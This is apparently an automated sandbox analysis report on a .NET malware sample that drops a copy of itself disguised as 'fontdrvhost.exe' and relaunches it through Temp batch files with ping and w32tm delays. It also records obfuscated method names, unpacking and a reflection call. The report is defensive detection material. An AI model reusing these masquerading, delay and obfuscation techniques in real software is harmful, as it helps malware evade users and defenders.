Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\fontdrvhost.exe "C:\Users\user\AppData\Local\fontdrvhost.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\7nxekELsf0.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\fontdrvhost.exe "C:\Users\user\AppData\Local\fontdrvhost.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\fontdrvhost.exe "C:\Users\user\AppData\Local\fontdrvhost.exe"
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\Gu3WPocxsu.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\fontdrvhost.exe "C:\Users\user\AppData\Local\fontdrvhost.exe"
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\3IMqqsTTOd.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\e2HUAivGfO.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\fontdrvhost.exe "C:\Users\user\AppData\Local\fontdrvhost.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\wuC6fcDv5B.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\fontdrvhost.exe "C:\Users\user\AppData\Local\fontdrvhost.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\6WkFIbRMFr.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\fontdrvhost.exe "C:\Users\user\AppData\Local\fontdrvhost.exe"
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\OwDUg2gYJx.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\fontdrvhost.exe "C:\Users\user\AppData\Local\fontdrvhost.exe"
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\s2nU7uS06N.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\fontdrvhost.exe "C:\Users\user\AppData\Local\fontdrvhost.exe"
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\ZMh4UPVO0I.bat"
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\I3W1TCNLwG.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\fontdrvhost.exe "C:\Users\user\AppData\Local\fontdrvhost.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\fontdrvhost.exe "C:\Users\user\AppData\Local\fontdrvhost.exe"
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\7nxekELsf0.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\fontdrvhost.exe "C:\Users\user\AppData\Local\fontdrvhost.exe"
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\3IMqqsTTOd.bat"
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\Gu3WPocxsu.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\fontdrvhost.exe "C:\Users\user\AppData\Local\fontdrvhost.exe"
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: ZT3pxe2Tb4.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: ZT3pxe2Tb4.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: ZT3pxe2Tb4.exe

Static file information: File size 3672576 > 1048576

Source: ZT3pxe2Tb4.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x380200

Source: ZT3pxe2Tb4.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdbnet0l source: fontdrvhost.exe, 00000034.00000002.2239140021.0000000000885000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdbN\|2h\|2 Z\|2_CorDllMainmscoree.dll source: fontdrvhost.exe, 00000008.00000002.1748627136.000000001BF60000.00000004.00000020.00020000.00000000.sdmp, fontdrvhost.exe, 0000000E.00000002.1845478401.000000001C9D2000.00000004.00000020.00020000.00000000.sdmp, fontdrvhost.exe, 00000015.00000002.2055064818.000000001B7E8000.00000004.00000020.00020000.00000000.sdmp, fontdrvhost.exe, 0000002A.00000002.2218891440.000000001BE82000.00000004.00000020.00020000.00000000.sdmp, fontdrvhost.exe, 00000033.00000002.2698860484.000000001B70B000.00000004.00000020.00020000.00000000.sdmp, fontdrvhost.exe, 00000034.00000002.2506178713.000000001BDD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: em.pdbd source: fontdrvhost.exe, 00000022.00000002.2098127256.000000001C46A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdbnnecg source: fontdrvhost.exe, 00000034.00000002.2239140021.0000000000885000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: em.pdb source: fontdrvhost.exe, 0000002A.00000002.2225604158.000000001CC92000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdb source: fontdrvhost.exe, 00000008.00000002.1748627136.000000001BF60000.00000004.00000020.00020000.00000000.sdmp, fontdrvhost.exe, 0000000E.00000002.1845478401.000000001C9D2000.00000004.00000020.00020000.00000000.sdmp, fontdrvhost.exe, 00000015.00000002.2055064818.000000001B7E8000.00000004.00000020.00020000.00000000.sdmp, fontdrvhost.exe, 0000002A.00000002.2218891440.000000001BE82000.00000004.00000020.00020000.00000000.sdmp, fontdrvhost.exe, 00000033.00000002.2698860484.000000001B70B000.00000004.00000020.00020000.00000000.sdmp, fontdrvhost.exe, 00000034.00000002.2506178713.000000001BDD7000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe

Unpacked PE file: 0.2.ZT3pxe2Tb4.exe.1670000.5.unpack

.NET source code contains method to dynamically call methods (often used by packers)

Source: ZT3pxe2Tb4.exe, aJCfPqCSvGmcYPx2WWy.cs

.Net Code: Type.GetTypeFromHandle(yhXwkbJpFlaQ2BEhFNf.vV0LqIx2Ymr(16777425)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(yhXwkbJpFlaQ2BEhFNf.vV0LqIx2Ymr(16777246)),Type.GetTypeFromHandle(yhXwkbJpFlaQ2BEhFNf.vV0LqIx2Ymr(16777260))})

Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Code function: 0_2_00007FFD9BBD7964 push ebx; retf	0_2_00007FFD9BBD796A
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 8_2_00007FFD9BBB7967 push ebx; retf	8_2_00007FFD9BBB796A
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 8_2_00007FFD9BC4000A push ebx; ret	8_2_00007FFD9BC4007A
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 8_2_00007FFD9C0D7498 push ebx; iretd	8_2_00007FFD9C0D756A
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 9_2_00007FFD9BA2E94A push edx; retf	9_2_00007FFD9BA2E94B
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 9_2_00007FFD9BA23FBC push eax; retf	9_2_00007FFD9BA23FBD
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 9_2_00007FFD9BA67963 push ebx; retf	9_2_00007FFD9BA6796A
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 14_2_00007FFD9BBE792B push ebx; retf	14_2_00007FFD9BBE796A
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 21_2_00007FFD9BA0E94A push edx; retf	21_2_00007FFD9BA0E94B
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 21_2_00007FFD9BA03FBC push eax; retf	21_2_00007FFD9BA03FBD
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 21_2_00007FFD9BA47963 push ebx; retf	21_2_00007FFD9BA4796A
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 21_2_00007FFD9BC4000A push ebx; ret	21_2_00007FFD9BC4007A
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 21_2_00007FFD9C0F7C2B push E8FFFFFFh; retf	21_2_00007FFD9C0F7C31
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 21_2_00007FFD9C0D7498 push ebx; iretd	21_2_00007FFD9C0D756A
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 21_2_00007FFD9C116131 push cs; ret	21_2_00007FFD9C11617F
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 21_2_00007FFD9C117967 push ebx; retf	21_2_00007FFD9C11796A
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 27_2_00007FFD9BBC7969 push ebx; retf	27_2_00007FFD9BBC796A
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 34_2_00007FFD9C0C7498 push ebx; iretd	34_2_00007FFD9C0C756A
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 35_2_00007FFD9BA2E94A push edx; retf	35_2_00007FFD9BA2E94B
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 35_2_00007FFD9BA23FBC push eax; retf	35_2_00007FFD9BA23FBD
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 35_2_00007FFD9BA67963 push ebx; retf	35_2_00007FFD9BA6796A
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 35_2_00007FFD9BBE7228 push E8FFFFFFh; retf	35_2_00007FFD9BBE7231
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 35_2_00007FFD9C136131 push cs; ret	35_2_00007FFD9C13617F
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 35_2_00007FFD9C137967 push ebx; retf	35_2_00007FFD9C13796A
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 35_2_00007FFD9C117C27 push E8FFFFFFh; retf	35_2_00007FFD9C117C31

Source: ZT3pxe2Tb4.exe, IpUxhliHKcCdFefNH6B.cs	High entropy of concatenated method names: 'M5xiNYhW88', 'krFixFhEKk', 'ujQise37PE', 'XDZ2qnWhUT4o3s6uaQ2C', 'VWnjYnWhvl7OjqSw0nsS', 'WhauFJWhPaBKUerrygMK', 'lRV843WhEgQOlQX6KsYA', 'pqch5qWh5vfdVB6uP9D1', 'UeI9ydWhI6YGaVvZwKlL', 'TlMEauWhQIQeJm4RKeGW'
Source: ZT3pxe2Tb4.exe, IvcW8TkzBMKefsOxjFW.cs	High entropy of concatenated method names: '_26K', '_1U7', '_5gR', '_58D', 'H8v', 'dbRDWn7vBB', 'RMmDLp8AWE', 'gY2', 'rV4', '_28E'
Source: ZT3pxe2Tb4.exe, Qf4khHiUCwcf7y7oGvp.cs	High entropy of concatenated method names: 'LfwiQi4w82', 'bGbuXRWOb87scqdRgwvW', 'M7xMn5WOZ2wIHmhNERHh', 'YLOQwNWOyoC5bgdi10cw', 'iC4GhFWOo5Imjmf1gAfQ', 'Hk5i5w6cjF', 's5OowCWOgq5ARJs5q9v7', 'omd0m7WOeTB3fX7rCK1i', 'VXhkunWOSxFlmfa9i8gD', 'g0LsGZWO1QLv9bnVly7F'
Source: ZT3pxe2Tb4.exe, kcK8LC2ejuNjeyVIyjO.cs	High entropy of concatenated method names: 'LkP2O5YDJm', 'GcKaIOW78SAkkpo08bBu', 'giqHAbW76phoaTebjdZA', 'LnvbrgW7HeRFDDiyZw7X', 'yCX2ZKxSG2', 'Vb7IVgW7iQVXxvkFO8K0', 'bbBOEWW7WIej7vsmaBhY', 'qK50M9W7LRubbsxwEQFV', 'EFG3lhW7jaLD9sv6DOFR', 't7Dc5RW7qkn0bNRyGE5v'
Source: ZT3pxe2Tb4.exe, VtQKgNTAqnrKagf1yIu.cs	High entropy of concatenated method names: 'n5Kk3EEQl0', 'kgGkWKIgIh', 'G92kLFjHgj', 'qXikiH2y2w', 'H8ikjCF6oJ', 'RUyIZSWrqEP0JkOP09DZ', 'SS9xK3WriE9ikSr3kUDa', 'bGLW0LWrjv6WVntvNZQD', 'UHEbxsWrMUclxO47159y', 'fD2XcRWr2bRXi2tnTcJi'
Source: ZT3pxe2Tb4.exe, GLngHO6KQsXpnYd4Osh.cs	High entropy of concatenated method names: 'xrU6rIosOQ', 'c9x3RIWYNJPDR4tQx2DF', 'nJ1cCIWYH7nZfWJuWeth', 'yKJvH6WY8Scg3DGyi3Be', 't4G8rSWYxr6h1EFrkKC4', 'UU8', 'd65', 'gM7WjsqUjnK', 'XGTWjT6Jbxx', 'UP5WFbRhlso'
Source: ZT3pxe2Tb4.exe, aR00MCKbKrrQcafHklS.cs	High entropy of concatenated method names: '_57l', '_9m5', 't8K', 'k49', 'p65', '_3B1', '_4Pp', '_3M7', '_7b3', 'fAL'
Source: ZT3pxe2Tb4.exe, aaCFBpjrGhL277svCex.cs	High entropy of concatenated method names: 'tnUjvLxJLs', 'GmDwVRWKYR7RwiS5Aiax', 'krM5CkWK7qgJSs2aCjSk', 'TiR06qWKdcSHaP8aUAGm', 'LmWuQhWK09Gg38k3Vjio', 'uhQjmoprTc', 'XI0jnbV2Kn', 'EEujfUyT9R', 'e1ci4VWKKELbu3WC5yxd', 'HVsiKnWKhZMeSG9qP2bK'
Source: ZT3pxe2Tb4.exe, u5DC3ZK3VWcZhtg5bex.cs	High entropy of concatenated method names: 'a4Q', '_6h5', '_4fY', '_32D', 'j7E', 'Lr9', '_7ik', '_9X3', 'g6m', '_633'
Source: ZT3pxe2Tb4.exe, c2O1aZjIohIVoPInDqr.cs	High entropy of concatenated method names: 'XHnjJD3uvL', 'gatjAHEgEu', 'kskjzZqh3W', 'cnQYYmWKPa55kXHoYZTH', 'M68xQ6WKEGTxHHw4Y69S', 'QeOUiHWKnnFRpiLrA0m9', 'yf3MZ2WKfQ9uKh7ZBlDe', 'gFojRApOcJ', 'gdbjwM5gQg', 'UQBj4yjfBe'
Source: ZT3pxe2Tb4.exe, BDINTO6ucFPcvOZhsbK.cs	High entropy of concatenated method names: '_816', 'd65', 'IH2Wj2eM4Nw', 'OnZWjFWj7mi', 'fxPWF9fBpBq', 'HyrWj32dYif', 'PgI93hWdUSiDA5m6F7aS', 'VfcacVWdvaRvTwGqV8bL', 'Ix0pM3WdPHroHWZOWtl9', 'hcbkOBWdEUuas0x9xtVc'
Source: ZT3pxe2Tb4.exe, u0BBE28OSXVKWSIQuO6.cs	High entropy of concatenated method names: 'kwUxBxhXYD', 'CtropMWXEHZbgDXJ8KT6', 'pSgI55WXfnKRqgCaqruG', 'Ifhtj6WXP1fotuIWWkh0', 'AR0kXCWXU6ceFZSFyPwH', 'fks8aatNG6', 'wyp8lv1SWx', 'QEf871OxrT', 'mOP8d1TF6k', 'biu8Y5l9Fl'
Source: ZT3pxe2Tb4.exe, wwOJUoHXIrB4EWAbwDr.cs	High entropy of concatenated method names: '_2SY', 'NnyWFYQN31f', 'O8sHrkWZQU', 'EWCWF02WLlY', 'Qtanr4W0ZCd7af5HwyPB', 'VGpVUrW0yHZEGk5PHpUm', 'D4Gx5ZW0eN0OhRCBCrtm', 'AUuMNwW09fyf0By2WA2O', 'igyx8MW0buNuPrflIHYa', 'tKLX1KW0orb9dZicUpiW'
Source: ZT3pxe2Tb4.exe, LepXF7saQNmyW35F7qZ.cs	High entropy of concatenated method names: 'j9l', 'bsNs7fxqdV', 'UpnsdRg4Bu', 'UlUsY19HaI', 'TBRs0C9Owv', 'awbsXPD4HT', 'St1sV2cZRK', 'NebRnXWVZ7W9Up753iqP', 'sS0qGqWVe3KYt3qsHZ9j', 'rLw6GTWV9eobHbHQmJMo'
Source: ZT3pxe2Tb4.exe, jkQg7ipZplPn1UotyQn.cs	High entropy of concatenated method names: 'vNq', 'O3Q', 'a43', 'V8g', 'g39', '_9By', 'h74', 'fl2', '_4L8', '_8e1'
Source: ZT3pxe2Tb4.exe, mFKgY6O0mUDEgBvPdTN.cs	High entropy of concatenated method names: 'YNCOVaFr8s', 'nGLOrBgANR', 'WinOtQUr1p', 'Y2ZOm2E54n', 'dETOnfn2uA', 'LG6r8FWv9gjbhIMJuJyi', 'lN3sB6WvZLMV8BEeLVqj', 'yWZZhYWvghfdpNHRHRdQ', 'zMXvDwWveyguGAOBuaok', 'Ftj3vuWvyIjDpE4rHuYs'
Source: ZT3pxe2Tb4.exe, LDmdN86zB9ogB03sCmW.cs	High entropy of concatenated method names: 'tbsHMNecSx', 'MHOq21WYt1QXMQpsvFE5', 'kAhKUUWYVgB4rIxXZ3K2', 'q2wkxJWYrQa11p7T7JDJ', 'VF6UfoWYmpQkr78GmYFE', 'gwX5g8WYn8kUhBDmxBJ4', 'eq7', 'd65', 'PTIWjSrQrDh', 'VhpWj1i8OCN'
Source: ZT3pxe2Tb4.exe, w1ZvxosTOM7oO8WXijS.cs	High entropy of concatenated method names: 'GfHsDr0F6n', 'y6lspaa3wB', 't6Fsu2POKC', 'q4Y5sQWVBH6nSK9ZVqNr', 'LXPsu3WVp9cmFccG0h4K', 'iTFsPEWVuXH1Gcx3DuZ3', 'iElKCKWVGAwGbwRpCyVR', 'RmfIvPWVSL4rZo5t6tRM', 'sKFj2hWV1YrM9x8ATgW6'
Source: ZT3pxe2Tb4.exe, F8pEmTlg0rSROwdxrKr.cs	High entropy of concatenated method names: 'krr7kqSRvb', 'zcvlkgW5cK0XQpODnT1c', 'Ee2jcUW54H7BoTqoRuUA', 'qDu0xwW5CfA1Li6f3hsk', 'fUUwiuW5JNdNKCW5OWC9', 'i5X', 'GNwl9M7iJb', 'W93', 'L67', '_2PR'
Source: ZT3pxe2Tb4.exe, ElFAbjRAp8gHomcv42l.cs	High entropy of concatenated method names: 'RmTwL0WRGB', 'v87wipyKvK', 'JqKh6JWcKYR2EuEHZCsC', 'H4SYsLWchoFJfIpr3lR7', 'g71f0QWcOQ9SdAFuje4c', 'pFXbgtWca4jDDgEKy5YP', 'coORTFWclHUXXbeOGwGi', 'yR2AfaWc7TNEHIFPScxk', 'g4yw3X8UCJ', 'XRTj37WcZUDqyiwCEBJb'
Source: ZT3pxe2Tb4.exe, mo13yK5CrYctkp3dlB7.cs	High entropy of concatenated method names: 'TEeINwo7Ns', 'IjmolGW428keDMoo5csY', 'CGvTVAW4F9jVpOYxs3EA', 'd6SeJnW46I9joy3qeXJp', 'GqcaJsW4H4BaBUjCfDpe', 'CPX', 'h7V', 'G6s', '_2r8', 'N28WM7hLb6L'
Source: ZT3pxe2Tb4.exe, hMjBriK40KebJGhAYmQ.cs	High entropy of concatenated method names: '_2JN', 'A67', '_49I', 'uqIKcvlyIf', 'asDKJVICv8', 'mgnKAlECkA', 'FVcKzY5Jy1', 'Ouua3esIlb', 'SQdaWwkggl', 'xQRFD3W5GREXLSZOIZ6H'
Source: ZT3pxe2Tb4.exe, aTgUygLFeVy5edD89Ae.cs	High entropy of concatenated method names: 'aI6LHxY4MS', 'QnAL8OS6CH', 'pgALNxmOY8', 'q5KaheWotxOjj9xjTqw1', 'TgBq2sWom3T8IULBGgkn', 'v14HX7WonspJilOXqCCB', 'inmaqXWoffLJcyiit785', 'yRtXGqWoPOPGZlkA8AFC', 'f2ohwRWoEjLy0fxB4SlE'
Source: ZT3pxe2Tb4.exe, ViYhcOdF6vrUa0t1cjY.cs	High entropy of concatenated method names: 'GYYdHYshg4', '_64r', '_69F', '_478', 'Ffyd84HaLF', '_4D8', 'fDwdNIPwuk', 'MkqdxX6T6O', '_4qr', 'WJNdsyoQFL'
Source: ZT3pxe2Tb4.exe, uasKPgqg0wV17QK4luA.cs	High entropy of concatenated method names: 'UBCqdMCWW2', 'M2aqYYZ6kF', 'J1mOQ7Wa1BE7ogk8RAN9', 'KaIno1WaGixdQbC7UNhw', 's9RaCnWaSIi3NZRaqRRN', 'al0uMfWagZbQZ4LeRBcL', 'v43q9V2cac', 'smDqZdRSl1', 'kEaqyFTRnV', 'RNYqbbY9nT'
Source: ZT3pxe2Tb4.exe, kybOR8oTmeBISGwfmSh.cs	High entropy of concatenated method names: 'egOoDux0Or', 'SccopGwdZW', 'krgouJCNhT', 'Cm01THWEN9et5W0EMbWS', 'wC0hbqWEHVd3MG51ZTiI', 'x3qIQCWE88FIX3jwhgiC', 'UIgT3lWExribZNZL2cZu', 'wMYIxPWEsLCEVmLE46Vd', 'g4w5jAWET2JcAXx1daDJ', 'm9TtXSWEkIfF8AtiWxXH'
Source: ZT3pxe2Tb4.exe, SJGuNI0uH1RArSK0LD5.cs	High entropy of concatenated method names: 'tvQ0Gu2HDM', 'DWi0SXRPmw', 'wyP012niCO', 'Uht0gn3di7', 'iF80eS3wEP', 'W2H09d5swb', 'u7e0ZRanfA', 'mPU0yXQ65L', 'JS80b30dq4', 'nHi0owuppM'
Source: ZT3pxe2Tb4.exe, v2CkUEWyx02og5QaT9I.cs	High entropy of concatenated method names: 'N2T', 'V29', 'o75', '_2Q4', 'K3B', 'j9VWFkFfihW', 'cnqWi5B8Sbb', 'L2hfrCWb4fenqAadb8x1', 'UCnAJUWbC1Bo8UPyofw7', 'SQGhqNWbc7RbZEkl7vvp'
Source: ZT3pxe2Tb4.exe, uXVGqXqxAnF7qry6M3R.cs	High entropy of concatenated method names: 'Wc7', 'k7S', '_37r', 'kAiWFSLpZnF', 'TeAWizk87oU', 'MFNEwLWa3ntbDuaRcE2Y', 'gXwdRcWaWheoaVrsZe1g', 'lUHqwEWaL5E5sxGhdPjY', 'gdvgxAWaicZx33EmW40w', 'kNBPQsWajjvO0aLRGnL4'
Source: ZT3pxe2Tb4.exe, pm0mP5pLfQBPCqdik4R.cs	High entropy of concatenated method names: 'FQ3pp5nQcg', 'JdapBfSQPW', 'FubpjGYFc2', 'wcipqD7Wya', 'qJxpMulk9A', 'VKdp2WRmuj', 'FYtpFWhwIR', 'urgp6UbXDt', 'ys8pHvSYli', 'bhXp8VvwM7'
Source: ZT3pxe2Tb4.exe, Ww4k6dwNg7TTBpNPODA.cs	High entropy of concatenated method names: 'rn3wsZGFM0', 'N9mwT9pv3C', 'n3Xwk2IoRG', 'sfNwD0JPDQ', 'hs2wpduBr0', 'BkRwugdc0A', 'xiZXRLWcnTXtoruJprus', 'D8eQYDWcfLKvl03m7ANI', 'T329SBWcPOgVomlQwrmw', 'FoXjP5WcE9mbaCdGJpUE'
Source: ZT3pxe2Tb4.exe, sTBjDmDgGaOZJNJPS2b.cs	High entropy of concatenated method names: 'edgDPTjmqj', 'MPVD9MgGfm', 'ncLDZFjyLG', 'oN7DyxnOWq', 'J7oDb4U7Sm', 'LW1DoYsLM9', 'fKODhZ4DYK', 'Ul2DO4Nq5r', 'wNtDKymRYi', 'HsPDaeJYaG'
Source: ZT3pxe2Tb4.exe, uQGZYWjdDiVt8p1pGAa.cs	High entropy of concatenated method names: 'ERVj0SWeTX', 'X2qjXgg0QE', 'JvR5yJWKg1iARcH3A6Ok', 'OyVFe7WKSQZGAqEsjwBV', 'u4Cme1WK1OTKjoBu1wok', 'L0MwxTWKefNQ8cQTdOjU', 'wNADDjWK9WXmdwGPOIqD', 'HHkTJZWKZgxc037kfk8O', 'yYnMi3WKyYKXS0pTAegA', 'DPaMqUWKbMUChsJRBoR1'
Source: ZT3pxe2Tb4.exe, nVmYajLBrhsY5QJ9CXJ.cs	High entropy of concatenated method names: 'LvGLSQQX6U', 'PaKL1toIbU', 'uI3KwWWoJfqEmLrqwnNu', 'QRBxs3WoCDysBq72VsCv', 'YGlJx7Wocj7QJPhkscSD', 'vGU7BoWoAZTwO1rPen71', 'vMC1fmWozA5i3uPAJHBu', 'GG1oj9Wh3KeAAwS7K1Qm', 'Sm0qSxWhWJggHTTVLHoF'
Source: ZT3pxe2Tb4.exe, fkdgKLhSo1ryjWHpoDM.cs	High entropy of concatenated method names: 'wXphg9r4nS', 'yUQhel6MWT', 'M62', '_1Xu', 'LuR', '_4p3', 'HVh', 'nL7h9gV0SW', '_96S', '_9s5'
